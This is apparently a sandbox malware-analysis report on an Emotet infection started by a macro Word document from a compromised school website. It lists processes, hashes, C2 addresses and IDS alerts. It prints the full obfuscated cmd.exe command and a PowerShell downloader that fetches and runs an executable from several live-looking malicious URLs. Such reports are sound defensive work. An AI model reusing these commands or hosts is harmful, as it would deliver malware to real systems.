analyze malware
- Huge database of samples and IOCs
- Custom VM setup
- Unlimited submissions
- Interactive approach
| URL: | http://mahdavischool.org/int/myp/En_us/Documents/2018-11 |
| Full analysis: | https://app.any.run/tasks/20748e00-7319-4de7-ae19-302e61e90615 |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | November 15, 2018, 20:43:47 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MD5: | 60C0B2FEB91AB8FB1CCD451B6268C703 |
| SHA1: | FBA53E3B4D2A7EFB7B508B29FD341E397C8CB56B |
| SHA256: | 40F1AF996654635CFD14735903E7416CDB02B1884148C60E8BF27B77432F79A2 |
| SSDEEP: | 3:N1KT5p5KAaGQIec6n:C97KjHH |
MALICIOUS
Unusual execution from Microsoft Office
- WINWORD.EXE (PID: 2496)
Application was dropped or rewritten from another process
- Msw.exe (PID: 3016)
- Msw.exe (PID: 2228)
- lpiograd.exe (PID: 1972)
- lpiograd.exe (PID: 2968)
Starts CMD.EXE for commands execution
- WINWORD.EXE (PID: 2496)
Emotet process was detected
- lpiograd.exe (PID: 1972)
Connects to CnC server
- lpiograd.exe (PID: 2968)
Downloads executable files from the Internet
- powershell.exe (PID: 608)
EMOTET was detected
- lpiograd.exe (PID: 2968)
Changes the autorun value in the registry
- lpiograd.exe (PID: 2968)
SUSPICIOUS
Application launched itself
- WINWORD.EXE (PID: 2496)
Starts Microsoft Office Application
- iexplore.exe (PID: 2920)
- WINWORD.EXE (PID: 2496)
Executable content was dropped or overwritten
- powershell.exe (PID: 608)
- Msw.exe (PID: 2228)
Executes PowerShell scripts
- cmd.exe (PID: 3308)
Reads Internet Cache Settings
- powershell.exe (PID: 608)
Creates files in the user directory
- powershell.exe (PID: 608)
Starts itself from another location
- Msw.exe (PID: 2228)
Connects to unusual port
- lpiograd.exe (PID: 2968)
INFO
Reads Internet Cache Settings
- iexplore.exe (PID: 3136)
- iexplore.exe (PID: 2120)
Creates files in the user directory
- WINWORD.EXE (PID: 2496)
- iexplore.exe (PID: 2920)
- iexplore.exe (PID: 3364)
Reads internet explorer settings
- iexplore.exe (PID: 3136)
- iexplore.exe (PID: 2120)
Application launched itself
- iexplore.exe (PID: 2920)
- chrome.exe (PID: 3432)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 2496)
- WINWORD.EXE (PID: 1148)
Changes internet zones settings
- iexplore.exe (PID: 2920)
- iexplore.exe (PID: 3364)
Dropped object may contain Bitcoin addresses
- chrome.exe (PID: 3432)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
Total processes
58
Monitored processes
25
Malicious processes
8
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process |
|---|---|---|---|---|
| 2920 | "C:\Program Files\Internet Explorer\iexplore.exe" -nohome | C:\Program Files\Internet Explorer\iexplore.exe | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Internet Explorer Exit code: 1 Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
| 3136 | "C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2920 CREDAT:71937 | C:\Program Files\Internet Explorer\iexplore.exe | iexplore.exe | |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Internet Explorer Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255) | ||||
| 2496 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\OCDM6JB6\DOC-350595964445[1].doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | iexplore.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
| 1148 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Embedding | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 | ||||
| 3308 | c:\FitBVnwn\DuvuvoVkKpoUlc\aiJEmwiB\..\..\..\windows\system32\cmd.exe /C"^s^e^t nrq=c^h&&^s^et ^S^2C=^b&&s^e^t ^B^S=^e&&^se^t ^A^7v=^1&&s^e^t ^a^Tjo=^erv^ic&&^s^e^t nS^X=^'&&^s^et ^7^2Cu=^I&&s^e^t D^L=r^e&&^s^e^t K^u=^s^a&&^se^t ^U9^K=m^ &&^s^et ^B^I^FE=^ &&^s^e^t 3N4C=^a&&^s^e^t ^Sa0^D=^ &&s^e^t ^7h=^;&&^s^et ^s^Zw=)^+^'&&s^e^t Z^z=^=&&^set ^t^M=cc&&^set ^i^M1N=^I&&^s^e^t ^3^1z^o=^ ^ &&^s^et ^5R^0=^t^h^]:&&s^e^t ^fR^Pn=e^ ^=&&^se^t ^Dk=^s&&^se^t Rv1=^t&&^s^et 27^O^Y=r&&^se^t ^a^G^m=^sx&&^se^t ^K^A3q=^s^w&&^s^e^t aCvQ=^:/&&^s^e^t ^Te=^o&&^s^e^t n^tJ^6=r&&^s^et N^y^3=^ht^t&&^se^t N9^6=^f7f81a39-5f63-5b42-9efd-1f13b5431005amp;&s^e^t ^J^LtN=^e&&se^t 7f^T^G=^m&&^se^t ^UK^qe=^e&&^s^et ^7t=^e&&s^e^t U^J=c^h^ar^h&&^se^t ^I^p=c^a&&^s^e^t Z^L^b=^ ^$^w&&^s^e^t vR7=N&&^s^et ^B^Zpm=v&&se^t 7^Y=^p&&s^e^t AC^0^i=v^.^t&&^se^t nJ^0=^0&&s^e^t ^Su^d^e=^m&&s^e^t R^U^8=^.^op&&s^e^t 8^T=^'&&^s^et a^Pt^Z=5&&s^e^t ^x^4=^j&&^s^e^t 8^M=^p&&^se^t ^3^M^D=V&&^se^t ^5^2Dc=^t-&&^s^e^t ^d^LN=^.^S^pl^i^t('^@&&s^e^t ^t^D=o^f&&^s^et ^37=^=&&^s^e^t ^GA^Q=)^{^tr&&^s^e^t ^Z^P=^6&&^se^t Vz^k=e^'&&^se^t u^X=^;&&^s^et ^4w=u^Id^.&&^s^et 4a^5^E=^;&&s^e^t xX^3r=p^en&&^s^e^t ^6^Tch=^s&&^s^et N^m^XW=Z&&^se^t n^Q=u^u^t&&^s^e^t ^D^I^hC=^o&&s^e^t ^U3n=^p^o^wers&&^s^et ^sH^L=^m&&s^e^t ^DV^E=V&&^s^e^t ^fs^2^1=^m&&^s^e^t ^G^Er=^p&&s^e^t ^B^J^u=^p&&s^e^t ^x^lc=^m&&^se^t ^4^sO=c^o&&^s^et ^dT=^'&&s^e^t ^X^x=^;^$^d&&^se^t ^T^b^A=/w^w^w&&s^e^t n^6^dj=^h&&^s^et k^8^W=u^I^d&&s^e^t ^A^y^4G=^m&&^s^et R^4L^Y=f7f81a39-5f63-5b42-9efd-1f13b5431005amp;&^s^e^t ^X^85=^a&&^se^t ^4^Z^O=^eak^}&&^s^et Vyv=t^ ^-c&&s^e^t ^0F=;$^F^J&&^se^t ^MC=^h&&^s^et ^4^M^b^j='^,&&s^e^t ^g^p^H=^pP^a&&^se^t VP^mv=^@&&^se^t ^Z^q={^f7f81a39-5f63-5b42-9efd-1f13b5431005amp;&^s^e^t r^4=^j&&^s^et ^bc^J=^d&&s^e^t C^5f^d=/^k&&^se^t ^Zru=^e^grin^a.co^m&&s^e^t ^MN^q=^f7f81a39-5f63-5b42-9efd-1f13b5431005amp;&^s^et ^5a^F^l=w^-^O&&^s^et ^T^GV=O^.^P&&^s^et ^g^1k=N&&^se^t ^D^u^2=^E^T&&^se^t ^t^H^wU=^z&&^s^et ^GA=^l&&^se^t C^a=^.&&^se^t V^BR=^J&&^s^et ^iX^K=.x^mlh^t^t^p&&^s^et F^Sq^W=)&&^set N^7=)&&^s^e^t 7^e^D=^f7f81a39-5f63-5b42-9efd-1f13b5431005amp;&^s^et ACW=^Pr^o&&^s^e^t R^D^U=^o&&^se^t ^3Y=i&&s^e^t ^6Z^Q=^e&&^se^t A^s^d^E=^i^le&&^s^et ^T^H^t=en()&&^s^et u^3^F^S=N^I&&^set ^5K^k=^M&&^s^e^t ^kN^T^s=ac^h(^f7f81a39-5f63-5b42-9efd-1f13b5431005amp;&^s^et ^ML=r/^j^7E&&^s^et Na=^U&&^se^t ^g^e^Us=^per&&^se^t ^xn^3=^m'&&s^e^t ^Z^k=v^4^8&&s^e^t ^mP=^e&&^se^t ^6^h=^t&&s^e^t ^mU=^.c&&^s^et ^u^f^PR=^Z&&^s^et R^9^U=(&&^se^t ^BaE^j=^t&&^se^t v^0=I^d^ &&s^e^t ^x^z^eu=^I.^typ&&s^e^t ^z^T1=^b&&^se^t ^Bu^D^9=V&&^s^e^t ^mn^3^6=^d&&^s^e^t ^K^Phw=^@&&^se^t ^j8= ^ &&s^e^t ^Uh=^,&&^s^et ^d^4=^=&&^s^e^t R^i^JM=j^;&&s^e^t A^uq^J=(&&^s^et c^u=^;&&^s^et ^tI=^ ^ &&^s^e^t ^d^o6^1=/&&^se^t NW^D^s=^u&&^s^et ^7^f^sz=)&&^s^et ^Fb^X=^$d&&^s^et d^8=$^d&&se^t ^f^Q=^y&&^s^e^t ^g^Gf=^@^h^tt&&^se^t kv^F5=^1&&^s^e^t ^G^I^D=^F&&set ir^F^g=u^I&&^s^e^t D^i=iid&&s^e^t ^U3=^p&&^se^t ^G^aB^q=^a&&^se^t ^B^o=^TR&&s^e^t ^tn^gW=^y)&&^se^t ^tY=^@&&^s^e^t ^2SY^w=^.&&^se^t r^ZN=^d&&s^e^t C^k=V&&^s^e^t c^Dw^O=^$^w&&s^e^t ^DS^2^d=.&&^se^t Rc=^.&&s^e^t ^B9c=^h&&^s^e^t C^Z^z=V&&^s^e^t ^tF=^JB&&^s^et V^I^A2=^l^2&&^s^e^t ^f^Xn= ^in^ &&^s^et ^3V=^t&&s^e^t ^uI^w=^:&&^se^t ^D^un=^ &&^s^et R^Y=^s^te&&^se^t ^dU^Pq=h^j&&s^e^t ^K^O^xV=^o&&^se^t j^y^X=^H&&^se^t u^hN^Y=^:/&&^se^t C^J^b=^w&&^se^t ^5w=/&&^se^t ^aY^m=nd(&&s^e^t ^d^Tv^L=^b&&s^e^t ^TA=^.&&^s^e^t G^F^wu=^O&&^se^t ^B^bc=/&&s^e^t ^J^t^Lv=^;^f7f81a39-5f63-5b42-9efd-1f13b5431005amp;&^s^et ^4^X=)&&^se^t ^t^B^P2=^.e^x&&s^e^t ^x^y^6^S=^o^m&&^s^et ^2^t=^ ^ &&^s^et ^xl=^dN&&^s^et Tng=^'&&^s^e^t ^ft=^\&&^s^e^t bR=^'^m&&s^e^t ^f^P8=^.&&^s^et ^A^EM=^h&&^s^et ^f^ZF=[^Sy&&^s^e^t ^I^Z=^e&&s^e^t Z^H=^t&&^se^t ^m^l5=D^lv&&^se^t ^KL=;Sta&&s^e^t ^x^zHC=^ &&^s^et ^B^qJ=^ ^= N&&^se^t ^U^m^7=;$^dN^I&&s^e^t ^x^u^6=^e&&^se^t ^t^B=^t&&^s^et U^G=^.s&&^s^et 0n^w^S=^m/&&s^e^t ^FO=^j&&^s^e^t ^T^Xc=^a&&^s^e^t KR^2=c&&s^e^t ^U^b^T6=^'a^d&&^se^t ^xv=.^br/^w&&^s^e^t ^K^M^Fr=^b^je&&s^e^t 5^sn^b=^j&&s^e^t SY^p=^.&&^s^et ^b^g^u=:Ge^t^T&&s^e^t crsV=^t&&^s^e^t ^dn^S=^{}^}&&^set 0^6=^.&&^s^e^t ^t^6Bn=^s3^l&&^se^t ^anv^y=^H&&^s^et ^3o=o^d&&^s^e^t 5J^Q^m=^.&&^se^t ^GB=.^inf^o&&^s^et ^X^dW=(^f7f81a39-5f63-5b42-9efd-1f13b5431005amp;&^s^e^t ^Bd^F^9=ew-^O^b&&^s^et ^MG=s&&set ^K^ev=^Lx^5yN^dV&&^s^et ^tz^M=^he^l^l&&^s^e^t ^x7=N&&s^e^t ^3^1=p&&s^e^t 0^k=^://&&^se^t ^B^i=z^S=^'^oS&&^se^t KI^w^j=e^B^od&&^se^t ^z^H^67=^ ^-c^o&&s^e^t ^BZ=^b&&^s^et ^KR^0B=^fo&&^se^t ^SvR^x= ^ &&s^e^t c^1^q=)^;^f7f81a39-5f63-5b42-9efd-1f13b5431005amp;&^s^et D^e=^e&&^s^et ^30=^a&&se^t 7^X=^Z&&^s^e^t 8^6=r^e^a&&^s^e^t I^u=t^t^p^:/&&s^e^t ^8b^B=r^e^s&&set N^b=^'&&^s^et f^s=('^G&&^se^t ^t^6^h=^wV&&^s^e^t VfU^Z=^L&&^s^et ^0^db^Q=^f7f81a39-5f63-5b42-9efd-1f13b5431005amp;&^s^e^t M^wl^y=n^s&&s^e^t ^zX^F=c^e&&se^t ^i^w=^k&&s^e^t 5^U=e(&&^s^e^t C^m=^.^wr^it&&^s^e^t X^Id=^;&&s^e^t d^g^T=/&&^se^t ^I^e^yQ=c^t&&s^e^t ^Z^F^7Q=^ &&^se^t NAo=r&&se^t j^f^W=^ &&s^e^t ^f^Aok=^m^dr&&^s^e^t ^k^DT=^h^t^t^p&&^s^e^t ^tv^Z=^in^y^-s&&^s^e^t c^8^MC=^s&&^se^t ^T^W^F=u/2&&^s^e^t ^3^q^g=^I&&^se^t ^sy=^ ^ ^ &&c^a^l^l ^s^et 4yd=%^U3n%%^tz^M%%^Sa0^D%%^0^db^Q%%^t^H^wU%%^B^i%%C^J^b%%nS^X%%^0F%%^u^f^PR%%^37%%8^T%%N^y^3%%8^M%%aCvQ%%^B^bc%%^BZ%%^GA%%3N4C%%U^J%%^D^I^hC%%^6^Tch%%^t^B%%^TA%%^4^sO%%0n^w^S%%^A^7v%%^t^6Bn%%7^Y%%^tF%%D^i%%^g^Gf%%^3^1%%^uI^w%%d^g^T%%C^5f^d%%^G^aB^q%%^sH^L%%^tv^Z%%^a^Tjo%%^J^LtN%%5J^Q^m%%n^tJ^6%%^T^W^F%%^3Y%%VfU^Z%%^Z^P%%^B^J^u%%7^X%%G^F^wu%%^anv^y%%^K^Phw%%^MC%%I^u%%^T^b^A%%Rc%%^mn^3^6%%^f^Aok%%^UK^qe%%^30%%7f^T^G%%^GB%%^d^o6^1%%^m^l5%%a^Pt^Z%%^7t%%j^y^X%%Na%%VP^mv%%^k^DT%%u^hN^Y%%^5w%%^X^85%%^g^e^Us%%^Zru%%SY^p%%^d^Tv^L%%^ML%%^Bu^D^9%%^B^o%%^Z^k%%^i^w%%^tY%%^A^EM%%crsV%%Rv1%%^G^Er%%0^k%%^t^M%%^2SY^w%%^bc^J%%^6Z^Q%%AC^0^i%%n^Q%%^mU%%^x^y^6^S%%^xv%%^K^ev%%^dT%%^d^LN%%N^b%%^4^X%%^7h%%c^Dw^O%%^3^M^D%%r^4%%Z^z%%A^uq^J%%^f^ZF%%R^Y%%^fs^2^1%%C^a%%^3^q^g%%^T^GV%%^T^Xc%%^5R^0%%^b^g^u%%^mP%%^A^y^4G%%^g^p^H%%^3V%%n^6^dj%%R^9^U%%^s^Zw%%^ft%%^5K^k%%^K^A3q%%^t^B^P2%%Vz^k%%F^Sq^W%%^J^t^Lv%%NW^D^s%%v^0%%^d^4%%^x7%%^x^u^6%%^5a^F^l%%^K^M^Fr%%^I^e^yQ%%^z^H^67%%^U9^K%%bR%%^a^G^m%%^x^lc%%V^I^A2%%^iX^K%%Tng%%^X^x%%vR7%%^7^2Cu%%^B^qJ%%^Bd^F^9%%^x^4%%^I^Z%%KR^2%%Vyv%%^K^O^xV%%^Su^d^e%%^D^un%%^U^b^T6%%^3o%%^S^2C%%0^6%%c^8^MC%%^BaE^j%%8^6%%^xn^3%%c^u%%^KR^0B%%D^L%%^kN^T^s%%^dU^Pq%%C^k%%^f^Xn%%R^4L^Y%%^G^I^D%%V^BR%%N^m^XW%%^GA^Q%%^f^Q%%^Z^q%%^4w%%^Te%%xX^3r%%f^s%%^D^u^2%%^4^M^b^j%%7^e^D%%^B9c%%5^sn^b%%^DV^E%%^Uh%%nJ^0%%c^1^q%%ir^F^g%%r^ZN%%U^G%%^B^S%%^aY^m%%^7^f^sz%%X^Id%%d^8%%u^3^F^S%%R^U^8%%^T^H^t%%4a^5^E%%^Fb^X%%^g^1k%%^x^z^eu%%^fR^Pn%%^x^zHC%%kv^F5%%^U^m^7%%C^m%%5^U%%N9^6%%k^8^W%%^DS^2^d%%^8b^B%%^U3%%R^D^U%%M^wl^y%%KI^w^j%%^tn^gW%%u^X%%^MN^q%%^xl%%^i^M1N%%^f^P8%%K^u%%^B^Zpm%%D^e%%^6^h%%^t^D%%A^s^d^E%%^X^dW%%^t^6^h%%^FO%%N^7%%^KL%%NAo%%^5^2Dc%%ACW%%^zX^F%%^MG%%^Dk%%Z^L^b%%C^Z^z%%R^i^JM%%^z^T1%%27^O^Y%%^4^Z^O%%^I^p%%Z^H%%nrq%%^dn^S%%^sy%%j^f^W%%^j8%%^Z^F^7Q%%^3^1z^o%%^tI%%^B^I^FE%%^SvR^x%%^2^t%&&c^al^l %4^y^d%" | c:\windows\system32\cmd.exe | — | WINWORD.EXE |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
| 608 | powershell $zzS='oSw';$FJZ='http://blacharhost.com/1s3lpJBiid@http://kaminy-service.ru/2iL6pZOH@http://www.dmdream.info/Dlv5eHU@http://aperegrina.com.br/j7EVTRv48k@http://cc.dev.tuut.com.br/wLx5yNdV'.Split('@');$wVj=([System.IO.Path]::GetTempPath()+'\Msw.exe');$uId =New-Object -com 'msxml2.xmlhttp';$dNI = New-Object -com 'adodb.stream';foreach($hjV in $FJZ){try{$uId.open('GET',$hjV,0);$uId.send();$dNI.open();$dNI.type = 1;$dNI.write($uId.responseBody);$dNI.savetofile($wVj);Start-Process $wVj;break}catch{}} | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | cmd.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
| 3016 | "C:\Users\admin\AppData\Local\Temp\Msw.exe" | C:\Users\admin\AppData\Local\Temp\Msw.exe | — | powershell.exe |
User: admin Company: Microsoft Corpora Integrity Level: MEDIUM Description: Microsoft SQL Exit code: 0 Version: 3.00. | ||||
| 2228 | "C:\Users\admin\AppData\Local\Temp\Msw.exe" | C:\Users\admin\AppData\Local\Temp\Msw.exe | Msw.exe | |
User: admin Company: Microsoft Corpora Integrity Level: MEDIUM Description: Microsoft SQL Exit code: 0 Version: 3.00. | ||||
| 1972 | "C:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exe" | C:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exe | Msw.exe | |
User: admin Company: Microsoft Corpora Integrity Level: MEDIUM Description: Microsoft SQL Exit code: 0 Version: 3.00. | ||||
| 2968 | "C:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exe" | C:\Users\admin\AppData\Local\Microsoft\Windows\lpiograd.exe | lpiograd.exe | |
User: admin Company: Microsoft Corpora Integrity Level: MEDIUM Description: Microsoft SQL Version: 3.00. | ||||
Total events
3 987
Read events
3 403
Write events
0
Delete events
0
Modification events
Executable files
2
Suspicious files
91
Text files
97
Unknown types
13
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 2920 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\favicon[1].ico | — | |
MD5:— | SHA256:— | |||
| 2920 | iexplore.exe | C:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico | — | |
MD5:— | SHA256:— | |||
| 2496 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR9FF.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2496 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_E7FDC94F-F915-49F8-81E9-0676C0DFCB95.0\6F2764A.doc\:Zone.Identifier:$DATA | — | |
MD5:— | SHA256:— | |||
| 1148 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_E7FDC94F-F915-49F8-81E9-0676C0DFCB95.0\~DF6D7DB0A3F1AA5A76.TMP | — | |
MD5:— | SHA256:— | |||
| 608 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CF7HN0KT7T0DJQZVGGYB.temp | — | |
MD5:— | SHA256:— | |||
| 2496 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\OICE_E7FDC94F-F915-49F8-81E9-0676C0DFCB95.0\6F2764A.doc | document | |
MD5:2AE39C714792D5038F46EF28DB454E0B | SHA256:1D6FA30E6C19936EBC423DB16A98EB9C4361D59BEE48347CE655D3F3240CCE44 | |||
| 3136 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\OCDM6JB6\ErrorPageTemplate[1] | text | |
MD5:F4FE1CB77E758E1BA56B8A8EC20417C5 | SHA256:8D018639281B33DA8EB3CE0B21D11E1D414E59024C3689F92BE8904EB5779B5F | |||
| 3136 | iexplore.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\OCDM6JB6\DOC-350595964445[1].doc | document | |
MD5:2AE39C714792D5038F46EF28DB454E0B | SHA256:1D6FA30E6C19936EBC423DB16A98EB9C4361D59BEE48347CE655D3F3240CCE44 | |||
| 2920 | iexplore.exe | C:\Users\admin\AppData\Local\Temp\~DF6259DB97FB34B430.TMP | — | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
12
TCP/UDP connections
44
DNS requests
26
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2968 | lpiograd.exe | GET | — | 177.242.156.119:80 | http://177.242.156.119/ | MX | — | — | malicious |
2968 | lpiograd.exe | GET | — | 173.11.47.169:8080 | http://173.11.47.169:8080/ | US | — | — | malicious |
608 | powershell.exe | GET | 301 | 69.175.104.242:80 | http://blacharhost.com/1s3lpJBiid | US | html | 242 b | malicious |
3136 | iexplore.exe | GET | 200 | 130.185.72.176:80 | http://mahdavischool.org/int/myp/En_us/Documents/2018-11/ | IR | document | 47.6 Kb | suspicious |
608 | powershell.exe | GET | 200 | 69.175.104.242:80 | http://blacharhost.com/1s3lpJBiid/ | US | executable | 464 Kb | malicious |
3136 | iexplore.exe | GET | 301 | 130.185.72.176:80 | http://mahdavischool.org/int/myp/En_us/Documents/2018-11 | IR | html | 334 b | suspicious |
3432 | chrome.exe | GET | 200 | 104.108.36.123:80 | http://ocsp.entrust.net/ME0wSzBJMEcwRTAJBgUrDgMCGgUABBTLXNCzDvBhHecWjg70iJhBW0InywQUanImetAe733nO2lR1GyNn5ASZqsCDGGh59IAAAAAUdNmpg%3D%3D | NL | der | 1.94 Kb | whitelisted |
3432 | chrome.exe | GET | 200 | 93.184.221.240:80 | http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab | US | compressed | 54.4 Kb | whitelisted |
3432 | chrome.exe | GET | 200 | 104.108.36.123:80 | http://ocsp.entrust.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQnuEQcScL%2FkljKed%2BRzpzFYOq9kwQUw%2FfQtSowra8NkSFwOVTdvIlwxzoCEBPqbO6n9Rt%2FAAAAAFTOks8%3D | NL | der | 1.90 Kb | whitelisted |
2968 | lpiograd.exe | GET | 200 | 186.18.236.83:8080 | http://186.18.236.83:8080/ | AR | binary | 132 b | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
2968 | lpiograd.exe | 189.244.86.184:990 | — | Uninet S.A. de C.V. | MX | suspicious |
2968 | lpiograd.exe | 50.78.167.65:7080 | — | Comcast Cable Communications, LLC | US | malicious |
3136 | iexplore.exe | 130.185.72.176:80 | mahdavischool.org | Tebyan-e-Noor Cultural-Artistic Institute | IR | suspicious |
608 | powershell.exe | 69.175.104.242:80 | blacharhost.com | SingleHop, Inc. | US | malicious |
2920 | iexplore.exe | 204.79.197.200:80 | www.bing.com | Microsoft Corporation | US | whitelisted |
2968 | lpiograd.exe | 177.242.156.119:80 | — | SERVICIO Y EQUIPO EN TELEFONÍA INTERNET Y TV S.A. DE C.V. | MX | malicious |
2968 | lpiograd.exe | 12.222.134.10:7080 | — | AT&T Services, Inc. | US | malicious |
2968 | lpiograd.exe | 186.18.236.83:8080 | — | Telecentro S.A. | AR | malicious |
2968 | lpiograd.exe | 173.11.47.169:8080 | — | Comcast Cable Communications, LLC | US | malicious |
3432 | chrome.exe | 216.58.215.227:443 | clientservices.googleapis.com | Google Inc. | US | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.bing.com |
| whitelisted |
mahdavischool.org |
| suspicious |
dns.msftncsi.com |
| shared |
blacharhost.com |
| malicious |
clientservices.googleapis.com |
| whitelisted |
www.gstatic.com |
| whitelisted |
www.google.de |
| whitelisted |
safebrowsing.googleapis.com |
| whitelisted |
accounts.google.com |
| shared |
ssl.gstatic.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
3136 | iexplore.exe | Potential Corporate Privacy Violation | ET POLICY Office Document Download Containing AutoOpen Macro |
3136 | iexplore.exe | Attempted User Privilege Gain | SC ATTEMPTED_USER Microsoft Word 2016 use after free attempt |
3136 | iexplore.exe | Potentially Bad Traffic | ET WEB_CLIENT SUSPICIOUS Possible Office Doc with Embedded VBA Project (Wide) |
3136 | iexplore.exe | Misc activity | SUSPICIOUS [PTsecurity] Download DOC file with VBAScript |
608 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
608 | powershell.exe | A Network Trojan was detected | ET CURRENT_EVENTS Likely Evil EXE download from MSXMLHTTP non-exe extension M2 |
608 | powershell.exe | A Network Trojan was detected | ET TROJAN VBScript Redirect Style Exe File Download |
608 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
2968 | lpiograd.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo HTTP request |
2968 | lpiograd.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo HTTP request |
3 ETPRO signatures available at the full report